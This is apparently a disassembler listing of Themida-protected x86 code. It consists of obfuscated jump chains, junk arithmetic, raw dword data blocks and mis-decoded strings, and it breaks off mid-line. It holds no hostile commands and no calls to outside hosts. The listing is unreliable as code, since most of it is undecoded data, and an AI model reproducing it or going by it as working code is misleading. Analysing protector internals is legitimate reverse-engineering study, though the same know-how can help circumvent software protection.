dup(0) ; --------------------------------------------------------------------------- loc_54A3CB: ; CODE XREF: Themida_:0054A4F2j pop esi pop eax jmp loc_545D3D ; --------------------------------------------------------------------------- dw 2F68h dd 8900003Eh, 4BE2434h, 1000000h, 24348BF5h, 6804C483h dd 404Ah, 0FF99C1E9h, 0FFD701FFh, 0E95A2434h, 0FFFFB525h dd 0E95BDE29h, 0FFFFADD2h, 8E02BEB9h, 0C1D9F743h, 0F18103E9h dd 642A2819h, 5C12E181h, 0F3E97500h, 8100002Dh, 321C09C3h dd 4ABE564Ah, 4E0E767Fh, 2426BA52h, 0DAF757EEh, 0D0E9D2F7h dd 8B000050h, 0F7682404h, 0E900000Ah, 0B0Dh, 49E9DA29h dd 89FFFFB8h, 25B82404h, 0E908A374h, 41AAh, 0C381CB01h dd 364202C1h, 81240C8Bh, 4C4h, 1480E900h, 0EC830000h, 0B510E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A47A: ; CODE XREF: Themida_:005486E6j pop esi add esi, 4 add esi, 4 jmp loc_547A49 ; --------------------------------------------------------------------------- aFrsca db 'fRécA',0 align 10h dd 4C381h, 0C3810000h, 4, 5C241C87h, 7B9C6850h, 0A1E90000h db 46h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A4AB: ; CODE XREF: Themida_:005475A1j push ebx jmp loc_54DF3D ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0E9242C87h, 0FFFFE66Eh ; --------------------------------------------------------------------------- loc_54A4BC: ; CODE XREF: Themida_:00544725j push esi mov esi, 4 add eax, esi pop esi xchg eax, [esp] pop esp add esp, 4 add ebx, 4 push ebp jmp loc_545C2B ; --------------------------------------------------------------------------- aASia db '€Æ^éˆA',0 align 10h loc_54A4E0: ; CODE XREF: Themida_:00549AEAj add esp, 4 sub edx, 48FE6A05h add edx, edi jmp loc_54A8C3 ; --------------------------------------------------------------------------- loc_54A4F0: ; CODE XREF: Themida_:0054D732j mov ebx, esi jmp loc_54A3CB ; --------------------------------------------------------------------------- db 89h dd 0E954240Ch, 0FFFFA07Ah, 2DE9CD01h, 1000018h, 5E959CAh dd 58FFFFC6h, 685F5457h, 6353h, 0BE243489h, 77545348h dd 0E10E9h, 0BEE18100h, 8164051Dh, 207731F1h, 0E9CE291Dh dd 0FFFF9EBAh, 536768h, 242C8900h, 51C368h, 48F5400h, 0CFB85024h dd 2D2C1E4Fh, 7CC951ADh, 0AB01E205h, 24448150h, 100BFF04h dd 24440166h, 246C8104h, 100BFF04h, 0E33EE966h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A572: ; CODE XREF: Themida_:0054DC06j mov edi, 2AF12F8h add ebx, edi pop edi push 5BBFh mov [esp], edi jmp loc_546AE7 ; --------------------------------------------------------------------------- loc_54A587: ; CODE XREF: Themida_:00548365j mov ecx, 26450985h jmp loc_54BA88 ; --------------------------------------------------------------------------- db 1, 0C6h, 8Bh dd 89562404h, 4C681E6h, 83000000h, 348704C6h, 0C6835C24h dd 24348704h, 4A30F5Ch, 6DE99C24h, 81FFFF93h, 8C0AF6F1h dd 0D2E9533Dh, 83000051h, 3C3304C4h, 42CEE924h, 1C870000h dd 8E95C24h, 68FFFFC6h, 38563456h, 97BE95Ah, 0E2890000h dd 0F076851h, 0E9593C50h, 0FFFF9553h, 6FB6C281h, 0EA813229h dd 31A25ED7h, 0E95AD689h, 2CDCh, 8B2434FFh, 8956240Ch dd 4C681E6h, 83000000h, 51E904C6h, 66FFFFACh, 55C8BE0Fh dd 0FFF113E9h, 242489FFh, 4240481h, 8F000000h, 0B9512404h dd 4, 3ABBBA52h, 54016545h, 15A0824h, 8104244Ch, 0BB04246Ch dd 8B65453Ah, 0C481240Ch, 4, 216BE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A65E: ; CODE XREF: Themida_:00547FA3j sub ah, 0F2h shl ah, 3 or ah, 2Fh sub ah, 3Ch jmp loc_548BF2 ; --------------------------------------------------------------------------- aI4PSk db '‰4$P^éª=',0 db 0 ; --------------------------------------------------------------------------- loc_54A679: ; CODE XREF: Themida_:00545E01j shr eax, 2 add eax, 0CB04462Bh add edx, eax jmp loc_54D7BB ; --------------------------------------------------------------------------- loc_54A688: ; CODE XREF: Themida_:0054CB72j add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push esi mov esi, 4EC0494Fh shl esi, 6 and esi, 373C7DE4h neg esi inc esi sub esi, 0AD2F5263h jmp loc_543EC1 ; --------------------------------------------------------------------------- db 1, 0DEh, 5Bh dd 0FFADD1E9h, 4C483FFh, 5166D828h, 2304C8B5h, 0E800352Ch dd 232C3504h, 240C8B66h, 5002C483h, 405E089h, 2D000000h dd 4, 0E9240487h, 1E60h ; --------------------------------------------------------------------------- loc_54A6EC: ; CODE XREF: Themida_:0054C76Bj push ebx jmp loc_5494C1 ; --------------------------------------------------------------------------- loc_54A6F2: ; CODE XREF: Themida_:0054B0B8j or esi, ebp pop ebp jmp loc_5439CB ; --------------------------------------------------------------------------- dw 0E768h dd 0E9000014h, 0FFFFE521h, 3004C483h, 2434FFF0h, 0E924148Bh dd 0AD2h, 35D8E9ADh, 0EA810000h, 68155F3Ch, 3DAAF281h dd 0EDE91F2Dh db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A72B: ; CODE XREF: Themida_:00546BA3j add [esp+4], esi pop esi mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_54D1FC ; --------------------------------------------------------------------------- db 66h dd 8324048Bh, 148904ECh, 73C76824h, 0EC830000h, 24248904h dd 4240481h, 8F000000h, 0BE562404h, 4, 0FFD3DFE9h db 0FFh ; --------------------------------------------------------------------------- loc_54A771: ; CODE XREF: Themida_:0054CC3Fj not dword ptr [esp] pop ebx jmp loc_54451B ; --------------------------------------------------------------------------- loc_54A77A: ; CODE XREF: Themida_:00545267j mov eax, 4 add edi, eax pop eax jmp loc_5484CD ; --------------------------------------------------------------------------- loc_54A787: ; CODE XREF: Themida_:0054F1B8j add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp jmp loc_54BAF2 ; --------------------------------------------------------------------------- db 66h dd 81240C8Bh, 2C4h, 0C0B60F00h, 36056866h, 24048966h, 0FF916BE9h dd 4A310DFFh, 35357428h, 502374Dh, 8336C982h, 91E9C101h db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A7CF: ; CODE XREF: Themida_:00547967j pop ebp push ebp push ecx mov ecx, 0F5C7390h add ecx, 0F0D795B3h mov ebp, ecx pop ecx and eax, ebp pop ebp shr eax, 3 jmp loc_544F51 ; --------------------------------------------------------------------------- db 0BBh dd 35FE1010h, 8102EBC1h, 0DB0F82CBh, 0FC21E96Bh, 8B66FFFFh dd 0E952240Ch, 0FFFFE481h, 0ED805966h, 7B65278h, 0FEC8B050h dd 1338E9C0h, 0CB10000h, 0C006E9C0h, 1BE907E1h, 6800002Bh dd 6C5Eh, 0BF243C89h, 337B37B1h, 0F781DFF7h, 0CC84C84Bh dd 93B850h, 0C1016720h, 0E9F90158h, 922h, 26B60BAh, 0ED75E908h dd 0E95AFFFFh, 4A0h, 5450C02Dh, 5D80133h, 335450C0h, 81241C8Bh dd 4C4h, 4EC8300h, 4126E9h, 35E0D100h, 34D00Bh, 5158C129h dd 0F381595Bh, 654D175Eh, 2B5FBE56h, 17E9141Fh db 3 dup(0) ; --------------------------------------------------------------------------- loc_54A897: ; CODE XREF: Themida_:0054BEA7j pop esp push eax mov eax, 31856D01h sub ebx, eax pop eax sub ebx, 2AF12F8h sub ebx, eax jmp loc_54DC05 ; --------------------------------------------------------------------------- dw 0F331h dd 8BDE015Eh, 0E951241Ch, 4381h ; --------------------------------------------------------------------------- loc_54A8BC: ; CODE XREF: Themida_:00549C25j pop eax push edx jmp loc_54E6D6 ; --------------------------------------------------------------------------- loc_54A8C3: ; CODE XREF: Themida_:0054A4EBj add edx, 48FE6A05h push eax mov eax, 0 add eax, edx jmp loc_549287 ; --------------------------------------------------------------------------- dw 0E381h dd 68FD1623h, 2414F753h, 0FFEB815Bh, 81FFFFFFh, 62CC96F3h dd 413FE9D4h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A8F2: ; CODE XREF: Themida_:0054E534j add edx, ebx push ecx push edi mov edi, 381D7D3Bh inc edi jmp loc_54E780 ; --------------------------------------------------------------------------- db 5Fh, 81h, 0ECh dd 4, 0B9240C89h, 397A004Ah, 0E905E1C1h, 48BAh ; --------------------------------------------------------------------------- loc_54A918: ; CODE XREF: Themida_:00549E99j mov ebx, 76645D48h mov ebp, ebx pop ebx sub ebp, 6E54001Ch xor ebp, 4E3E0C42h inc ebp add ebp, 5529ABA3h sub edi, ebp jmp loc_546133 ; --------------------------------------------------------------------------- dw 0F66h dd 686602B6h, 72E90D12h, 5DFFFFD2h, 1C8BDA01h, 4C48124h dd 52000000h, 42474FFh, 0FFCF2BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54A95D: ; CODE XREF: Themida_:00549216j sub ebp, 0FFFFFFFFh push edx mov edx, 607867BFh sub edx, 0E7E30B79h xor ebp, edx jmp loc_54D144 ; --------------------------------------------------------------------------- dw 0D14Ah dd 0B654E9EAh, 40B8FFFFh, 353C042Ch, 3C042C44h, 62E9h dd 0D831AD00h, 681068h, 240C8900h, 29AD6850h, 48B2D2Dh dd 3A0AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A9A6: ; CODE XREF: Themida_:0054D050j sub eax, 7DB435EBh not eax sub eax, 7E412678h add edi, eax mov eax, [esp] add esp, 4 jmp loc_543E55 ; --------------------------------------------------------------------------- loc_54A9BF: ; CODE XREF: Themida_:00549B5Fj sub eax, 27D72548h add eax, ebx push ecx mov ecx, 5FBC6B0Eh add ecx, 0C81ABA3Ah add eax, ecx pop ecx pop ebx jmp loc_54589E ; --------------------------------------------------------------------------- loc_54A9DB: ; CODE XREF: Themida_:00544076j sub edx, 4AD77DCAh xor edx, 0D27BB9A6h mov ecx, edx pop edx jmp loc_544A45 ; --------------------------------------------------------------------------- db 81h dd 0EC4BB9C2h, 81C2012Ch, 0EC4BB9EAh, 0C281582Ch, 4, 31241433h dd 14332414h, 5E95C24h, 89000039h, 0D8015FFBh, 2404875Bh dd 0E924248Bh, 0FFFF9037h ; --------------------------------------------------------------------------- loc_54AA24: ; CODE XREF: Themida_:0054B462j xor dh, 5Eh jmp loc_54751C ; --------------------------------------------------------------------------- loc_54AA2C: ; CODE XREF: Themida_:00544F60j pop edi sub [edi+24h], eax mov eax, [esp] jmp loc_54F647 ; --------------------------------------------------------------------------- dd 33243C31h, 36E9243Ch, 8BFFFFB9h, 8B662424h, 83682404h dd 8900000Bh, 5F54243Ch, 4C781h, 0BE90000h, 0BA00001Eh dd 55407104h, 0E95AD729h, 0FFFFB33Ch, 5224348Bh, 0C281E289h dd 4, 4C281h, 14870000h, 0C5BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AA86: ; CODE XREF: Themida_:0054AB04j push 107Ch mov [esp], edx push esp pop edx push ebx mov ebx, 5228664Ch jmp loc_547056 ; --------------------------------------------------------------------------- db 81h dd 4C6h, 4C68100h, 87000000h, 248B2434h, 4E67E924h, 348B0000h dd 2721E924h, 4890000h, 5141B824h, 0C3314746h, 0E924048Bh dd 0FFFF949Bh ; --------------------------------------------------------------------------- loc_54AACC: ; CODE XREF: Themida_:00549F9Cj xor [esp], ecx xor ecx, [esp] jmp loc_54C697 ; --------------------------------------------------------------------------- loc_54AAD7: ; CODE XREF: Themida_:005439D4j mov eax, 785400Ah dec eax jmp loc_546402 ; --------------------------------------------------------------------------- dw 1487h dd 24248B24h, 2404FF66h, 8E32E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AAF2: ; CODE XREF: Themida_:00548CCBj pop esp shr eax, 0Bh xor ecx, eax push 3B16h mov [esp], ebx push dword ptr [esp] pop eax jmp loc_54AA86 ; --------------------------------------------------------------------------- db 81h, 0EBh, 74h dd 81156CAAh, 0E60AB9C1h, 3FC1817Bh, 0E903E565h, 3236h ; --------------------------------------------------------------------------- loc_54AB20: ; CODE XREF: Themida_:005494F9j sub al, dl pop dx add al, cl jmp loc_544CCB ; --------------------------------------------------------------------------- loc_54AB2B: ; CODE XREF: Themida_:00546481j pop esp mov [esp], edi push edx jmp loc_54C97C ; --------------------------------------------------------------------------- db 5Dh, 81h, 0F6h dd 6611F7EFh, 0FFF680E9h, 0C8B66FFh, 0E6895624h, 0FF958DE9h dd 24048BFFh, 0FF8E84E9h, 240C31FFh, 8B240C33h, 8B662424h dd 0EC83240Ch, 240C8904h, 0BE56E189h, 4, 565EF101h, 0FFE022E9h dd 0C7C280FFh, 595AD000h, 24148B66h, 4EC81h, 34890000h dd 81E68924h, 4C6h, 2C68100h, 87000000h, 535C2434h, 8904EC83h dd 73B5240Ch, 0F62EC580h, 86CDFEDDh, 86D4F6E5h, 2EDC0E5h dd 0FFDDF7E9h db 0FFh ; --------------------------------------------------------------------------- loc_54ABBD: ; CODE XREF: Themida_:0054F24Dj not ebp jmp loc_5485AB ; --------------------------------------------------------------------------- dd 2414875Bh, 5924248Bh, 0FFF7E9E9h, 42BA52FFh, 57337167h dd 0FF94B0E9h db 0FFh ; --------------------------------------------------------------------------- loc_54ABDD: ; CODE XREF: Themida_:0054C9E8j push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_54C379 ; --------------------------------------------------------------------------- dd 89242C89h, 0F2FBE9E5h, 5755FFFFh, 3C38E9h, 24048F00h dd 8904EC83h, 0B6682404h, 5854690Ah, 371DD335h, 6E0C122h dd 0FFF484E9h, 4C481FFh, 31000000h, 81435AD3h, 6E2A50F3h dd 8BD90146h, 0C483241Ch, 240C3304h, 33240C31h, 248B240Ch dd 0F697E924h, 0C483FFFFh, 0F85FE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AC52: ; CODE XREF: Themida_:00548EF2j xchg eax, [esp] pop esp push dword ptr [edi+eax*4] push ebp push esi mov esi, 335E5259h push 4C5Eh mov [esp], edx mov edx, esi mov ebp, edx pop edx pop esi push esi push edx jmp loc_54D7E2 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h aZpirsJ db 'ZP‰àé',7,'J',0 dd 4C78100h, 83000000h, 0A5E904ECh, 5E000009h, 631C681h dd 0F289EFD1h, 0BE2815Eh, 0F726FA21h, 7DBF57DAh, 877FA629h dd 87D3F7DFh, 0E93EE9DFh, 0E956FFFFh, 0FFFFA0B6h, 8CE93D04h dd 86000031h, 3230E9F0h, 0E9AD0000h, 0FFFFAC6Eh, 0C181D901h dd 58BF77DEh, 82E9018Bh db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54ACDB: ; CODE XREF: Themida_:00548655j pop esp add ecx, 4 jmp loc_545303 ; --------------------------------------------------------------------------- db 31h dd 45E95EF7h db 0A7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54ACEF: ; CODE XREF: Themida_:0054BADCj push ebx mov ebx, 4 add edx, ebx jmp loc_54A23C ; --------------------------------------------------------------------------- dd 4244C01h, 243C8B59h, 8104C483h, 4C7h, 2C78300h, 0E9243C33h dd 0FFFFB12Fh, 0EE03F705h, 2DF0013Ah, 3AEE03F7h, 0D73A242Dh dd 89515E34h, 4C181E1h, 56000000h, 4BEh, 0E9F12900h, 0FFFFAD46h dd 4C481h, 67E90000h, 53FFFFEDh, 0FF99B5E9h, 1ABB53FFh dd 686F436Dh, 7779h, 50241489h, 744504B8h, 5E8C158h, 5B25D0F7h dd 0E94BDF38h, 2F68h ; --------------------------------------------------------------------------- loc_54AD74: ; CODE XREF: Themida_:0054A0E7j mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_54AE61 ; --------------------------------------------------------------------------- db 66h dd 5207E3C1h, 3F60BA66h, 0B9665166h, 21667F21h, 665966CAh dd 350AE942h, 0F5C0000h, 5E5456C8h, 50F4BA52h, 42E9155Bh dd 0BFFFFFD1h, 4, 0AFE9FA01h, 89FFFFE3h, 4812424h, 424h dd 24348B00h, 4C481h, 2680000h, 8900007Ah, 4B82404h, 0E9000000h dd 0FFFFF7ADh, 4C4815Fh, 21000000h, 240C8BC8h, 904C483h dd 8A840FC0h, 6800000Bh, 162h, 54243489h, 4C6815Eh, 0E9000000h dd 0FFFFC4E9h, 2474FF53h, 0D94FE904h, 0C701FFFFh, 32BE5658h dd 5024583Ah, 106B07B8h, 3FEF355Ch, 0BE565159h, 71B80274h dd 55EF031h, 5D5D42EFh, 0D04E8C1h, 1360697Fh, 8CAFC92Dh dd 58C631FBh, 4927E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AE52: ; CODE XREF: Themida_:0054F0ACj xor edx, edx jmp loc_5444BE ; --------------------------------------------------------------------------- db 87h, 3Ch, 24h dd 278E9h db 0 ; --------------------------------------------------------------------------- loc_54AE61: ; CODE XREF: Themida_:0054AD82j pop esp jmp loc_54D31C ; --------------------------------------------------------------------------- db 0BFh dd 65CB48ECh, 34B716B8h, 8BF8019Ah, 0C483243Ch, 58C78904h dd 0E2E9FD01h db 0CDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AE83: ; CODE XREF: Themida_:00544693j add esp, 4 push ecx mov ecx, 0C274C7E3h sub ebx, 7A593F13h add ebx, ecx add ebx, 7A593F13h pop ecx push 7FC7h jmp loc_54C2D5 ; --------------------------------------------------------------------------- loc_54AEA5: ; CODE XREF: Themida_:0054D6C8j xchg ebp, [esp] jmp loc_546A73 ; --------------------------------------------------------------------------- loc_54AEAD: ; CODE XREF: Themida_:0054D15Dj push edx push dword ptr [esp+4] pop edx jmp loc_54440A ; --------------------------------------------------------------------------- dd 0E9241C89h, 0FFFFA131h, 0E52C00BFh, 0D36E92Ah, 0C3810000h dd 4, 4EB81h, 1C870000h, 0F0E5E924h, 0E689FFFFh, 158BBA52h dd 0D2F738DEh, 0FFC28142h, 81FFFFFFh, 6263F5CAh, 0F1EA815Ah dd 1DF63EBh, 2ECEE9D6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AF02: ; CODE XREF: Themida_:00549E62j push ebp push esi push 63D5h mov [esp], edi mov edi, 6EF27C6Ch mov esi, edi pop edi add esi, 38BA7876h shl esi, 4 xor esi, 59163FEAh neg esi xchg eax, esi not eax xchg eax, esi add esi, 0FFFFFFFFh push ecx mov ecx, 2882D9Fh jmp loc_54B754 ; --------------------------------------------------------------------------- dw 0EBC1h dd 0F994E908h, 0D5F6FFFFh, 1138E9h, 242C8100h, 37376FD9h dd 34E5E9h, 24348900h, 3B6DE9h, 5EAC100h, 0D4C2814Ah, 89758895h dd 1AB9E9D3h, 2DBB0000h, 811B8D3Ch, 72C3D7C3h, 3086E9E4h dd 28580000h, 1050E9C3h, 0EB810000h, 232939E1h, 0C381F301h dd 232939E1h, 8324348Bh, 0C38104C4h, 2, 0E9241C87h, 35EBh ; --------------------------------------------------------------------------- loc_54AFA8: ; CODE XREF: Themida_:0054722Aj mov [esp], ebp jmp loc_547832 ; --------------------------------------------------------------------------- loc_54AFB0: ; CODE XREF: Themida_:0054C8E4j add ebx, eax pop eax neg ebx jmp loc_54428C ; --------------------------------------------------------------------------- dw 8B66h dd 8168240Ch, 0E900004Dh, 0FFFFA4D7h ; --------------------------------------------------------------------------- loc_54AFC8: ; CODE XREF: Themida_:0054C6FAj add ebp, 8FBD7E26h jmp loc_547BC2 ; --------------------------------------------------------------------------- loc_54AFD3: ; CODE XREF: Themida_:00543B3Ej mov [esp], ecx mov ecx, 7A3460D4h push ebp push 6FE868B5h jmp loc_548D9B ; --------------------------------------------------------------------------- dw 3489h dd 0BE565F24h, 2EDA03EDh, 8107E6C1h, 0BD7386F6h, 42F2E915h dd 835E0000h, 348904ECh, 2BE24h, 0FDE90000h db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B00F: ; CODE XREF: Themida_:00544B04j xchg eax, [esp] jmp loc_545120 ; --------------------------------------------------------------------------- dd offset dword_50C450+18h align 4 dd 0FF241489h, 0E9042474h, 361Ah, 42474FFh, 1E86E959h dd 815E0000h, 1242F7E9h, 0B6B5E914h, 8966FFFFh, 0A6B62414h dd 28D9B353h, 0BF045BD8h, 0BF2CF028h, 0E9D9B151h, 0FFFFD5BDh ; --------------------------------------------------------------------------- loc_54B058: ; CODE XREF: Themida_:005470B4j pop esp add ecx, 4 add ecx, 4 jmp loc_54D298 ; --------------------------------------------------------------------------- dw 8B66h dd 0D4682404h, 8900002Ah, 0E9532404h, 0FFFF8E6Fh, 0C107EFC1h dd 6804EFh, 29000000h, 815F243Ch, 0D432BFF7h, 8BF931FCh dd 0C483243Ch, 2434FF04h, 4C48158h, 0F3000000h, 386203A5h dd 4EC81h, 16E90000h db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B0B3: ; CODE XREF: Themida_:0054624Cj mov ebp, 2D180A56h jmp loc_54A6F2 ; --------------------------------------------------------------------------- aSk db '²!éŠ+',0 align 4 dd 71192D5Dh, 6605622Ah, 2D517D5Fh, 202F3157h, 0FFCD6CE9h dd 0E9515CFFh, 0FFFFB964h, 8124148Bh, 4C4h, 68DBF700h dd 20D5h, 0BD242C89h, 0E1BC0D00h, 48E9EB29h, 89FFFFF8h dd 4BF243Ch, 1000000h, 3234E9FBh, 0C15B0000h, 592D03E8h dd 118B061h, 0F83158C7h, 27EB815Fh, 552ECA3Ah, 0CD3306BDh dd 0BAED8127h, 45B3932Dh, 4121BB53h, 0E3D1001Ch, 0C381DBF7h dd 36CE2144h, 0A9C3C381h, 0DD21E2C8h, 83241C8Bh, 0BE5604C4h dd 649E7D9Fh, 815EF531h, 0BB3BE5EBh, 15DEE96Bh, 0F660000h dd 5166C8AFh, 87B6E99Ch, 0E956FFFFh, 0FFFF8EE9h ; --------------------------------------------------------------------------- loc_54B174: ; CODE XREF: Themida_:00544003j pop ecx pop esi add ebx, 1CB81E2Ch jmp loc_54FB8E ; --------------------------------------------------------------------------- db 0B7h, 98h, 8 dd 0E1D05BF9h, 5224F180h, 0F10035B6h, 59CB005Ah, 0A0EB80h dd 0A0C380C3h, 0FFAED3E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B1A1: ; CODE XREF: Themida_:00543E9Cj push 1B1Ah mov [esp], esi mov esi, esp jmp loc_545F6A ; --------------------------------------------------------------------------- loc_54B1B0: ; CODE XREF: Themida_:0054416Ej push eax push esi push 21FB542Fh jmp loc_543AB7 ; --------------------------------------------------------------------------- dd 5868C300h, 89000017h, 8DE92404h, 0FFFFFFC2h, 0E99C2404h dd 0FFFF8750h, 4EC81h, 24890000h, 24048324h, 30DFE904h dd 0C4830000h, 0B8D3E904h, 8B58FFFFh, 24148B0Ah, 8904EC83h dd 0E789243Ch, 4C781h, 0EC830000h, 240C8904h, 4B9h, 8BCF0100h dd 0C481240Ch, 4, 31243C33h, 3C33243Ch, 0EC685C24h, 0E9000035h dd 0FFFFC5C2h, 8DE4E94Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B232: ; CODE XREF: Themida_:0054C592j mov edx, 20h sub edx, 43CE081Ch add edx, edi add edx, 43CE081Ch push ebx mov ebx, 0 add ebx, 495F4CA6h add ebx, edx push esi jmp loc_54933E ; --------------------------------------------------------------------------- db 58h, 80h, 0EDh dd 80D52835h, 71E935C5h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B267: ; CODE XREF: Themida_:0054C78Dj shl ah, 5 shr ah, 2 jmp loc_54F5DB ; --------------------------------------------------------------------------- dw 0E789h dd 4C781h, 0C7830000h, 1EE6E904h, 478F0000h, 869AE940h dd 0C783FFFFh, 243C8704h, 0FF9508E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B295: ; CODE XREF: Themida_:00543D76j add eax, 4 jmp loc_544C80 ; --------------------------------------------------------------------------- db 5Bh dd 37E9C601h, 5400000Ch, 4B8505Fh, 0E9000000h, 48F9h, 6327C681h dd 0E9597228h, 0FFFFBD7Ah, 2C62E955h, 0C6810000h, 2, 2474FF56h dd 2434FF04h, 0E924348Bh, 0FFFFD4B2h, 4BF57h, 7C010000h dd 5A5F0424h, 4C281h, 0E9510000h, 2EC9h, 0E9873C88h, 0FE1h dd 8B2434FFh db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_546188 ; --------------------------------------------------------------------------- dw 0C31h dd 240C3324h, 243C895Ch, 0E72BBFBFh, 4168511Fh, 59E018D4h dd 0FF9186E9h, 243C89FFh, 0B850E789h, 4, 0FFFAE5E9h, 69EE81FFh dd 0C152D155h, 0CE8104E6h, 5B9968E9h, 0FDF5EE81h, 0F7015BBFh dd 0FFF71BE9h, 0E951ADFFh, 0FFFFB2D7h, 4EC83ADh, 0E9241C89h dd 0FFFFBD9Bh, 0A8C38143h, 55DCA5Dh, 3B0A7DACh, 1CE8E9h db 0 ; --------------------------------------------------------------------------- loc_54B375: ; CODE XREF: Themida_:00544D21j xor ecx, 7BD53C97h sub esp, 4 jmp loc_54A224 ; --------------------------------------------------------------------------- dw 0C381h dd 4, 0FFC3D7E9h, 0C1835AFFh, 240C8704h, 0C8BF0F5Ch, 70F068h dd 24348900h, 0C6815E54h, 4, 4BF57h, 0FE290000h, 68243C8Bh dd 6C48h, 89240489h, 405E0h, 4050000h, 87000000h, 78E92404h dd 0BE000041h, 0AC72FB7h, 95F443B9h, 5EF10113h, 0DC0AC181h dd 0BF57E1A2h, 342F77CDh, 7633EE81h, 0FE2962EBh, 7633C681h dd 15F62EBh, 0CDC681CEh, 59342F77h, 4796E9h, 72E95D00h dd 0FFFFFF99h, 589D1C77h, 9C240419h, 0FF8507E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B41D: ; CODE XREF: Themida_:0054FA16j push ebp jmp loc_54CF56 ; --------------------------------------------------------------------------- db 89h dd 4812424h, 424h, 0DF4FE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B432: ; CODE XREF: Themida_:00548392j pop edx push ecx push edi mov edi, 454040A1h jmp loc_547646 ; --------------------------------------------------------------------------- loc_54B43F: ; CODE XREF: Themida_:005499C7j mov ebx, 5BA43039h add ebx, 1 push edi mov edi, 5BC2D1Eh neg edi add edi, 8879AA5h or ebx, edi pop edi jmp loc_5442F5 ; --------------------------------------------------------------------------- loc_54B460: ; CODE XREF: Themida_:00549F5Fj mov dh, 7Ch jmp loc_54AA24 ; --------------------------------------------------------------------------- loc_54B467: ; CODE XREF: Themida_:00544F73j add edx, ebx add edx, 0CB11F5Eh add [edx], ecx pop edx pop ebx pop edx mov ecx, [esp] jmp loc_54E1AF ; --------------------------------------------------------------------------- dd 0E94FEB81h, 2EE9D93Ch, 5DFFFFF2h, 4244401h, 24042958h dd 0FFFAB4E9h, 94E281FFh, 0E92ED840h, 0FFFFBFAFh, 0DD30C6B5h dd 8BE8005Bh, 0C483240Ch, 0E2E95104h, 8B00003Dh, 168243Ch dd 89000070h, 0E9542414h, 0FFFFDE1Bh, 2B9h, 59CD0100h dd 0FFE295E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B4D1: ; CODE XREF: Themida_:0054D7DDj push edx mov edx, 5B2A6569h sub ecx, edx jmp loc_54E292 ; --------------------------------------------------------------------------- dw 0C87h dd 24248B24h, 89243C89h, 4B850E7h, 1000000h, 0CCE958C7h db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B4F7: ; CODE XREF: Themida_:00546DC6j pop esp push edx push esp jmp loc_545A49 ; --------------------------------------------------------------------------- db 29h dd 0CB015EF1h, 81EB0159h, 436D3BEBh, 0B9515D2Ah, 693D43D5h dd 0FF960FE9h, 0E6EF80FFh, 8086F780h, 0E980D8C7h, 50F9284Eh dd 0E83467B0h, 0E903E8C0h, 0FFFFF784h, 5224048Fh, 4BAh dd 24540100h, 815A5A04h, 4C2h, 24E95600h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B54F: ; CODE XREF: Themida_:005488F9j mov ebp, 5267464h add ebp, 7AEB3FE9h or ebp, 79587AFAh push edx mov edx, 1E38450Eh jmp loc_54B83F ; --------------------------------------------------------------------------- db 5Dh dd 41FFE983h, 16FFC981h, 0E9810100h, 7F7A214Ah, 4392C181h dd 0C83169ECh, 0E9C38959h, 0FFFFBCD2h, 241CF753h, 81241C8Bh dd 4C4h, 7FC38100h, 510A913Ch, 0FFBCA5E9h, 241487FFh, 38A9E95Ch dd 575B0000h, 4BFh, 0E9FB0100h, 1DB7h, 89243C89h, 4C781E7h dd 83000000h, 2C8904ECh, 4BD24h, 0EF810000h, 0C276313h dd 0FFE655E9h, 4C681FFh, 68000000h, 3F58h, 0E9240C89h dd 0FFFFEA2Dh, 0BE56E389h, 4, 505EF301h, 713BA9B8h, 5E032D11h dd 0E8C11D4Eh, 2F4EE902h, 0D5050000h, 51549466h, 0F5174CB9h dd 5EDE947h, 0EB000000h, 95E95966h, 89FFFFFBh, 0BAB82404h dd 0E95A907Ch, 113Ch, 50241C89h, 0C26244B8h, 55514069h dd 503D17BDh, 2C15E97Fh, 57590000h, 4BFh, 0C1C18100h, 525ED302h dd 0B11ABDBAh, 17F6E974h, 0BDE90000h db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B667: ; CODE XREF: Themida_:00547641j push edi jmp loc_54C6EA ; --------------------------------------------------------------------------- loc_54B66D: ; CODE XREF: Themida_:0054C2C8j mov cx, [esp] add esp, 2 push small 0E8Bh mov [esp], cx push eax jmp loc_544151 ; --------------------------------------------------------------------------- dw 0E981h dd 6E960ABDh, 0CAC98141h, 816BBB28h, 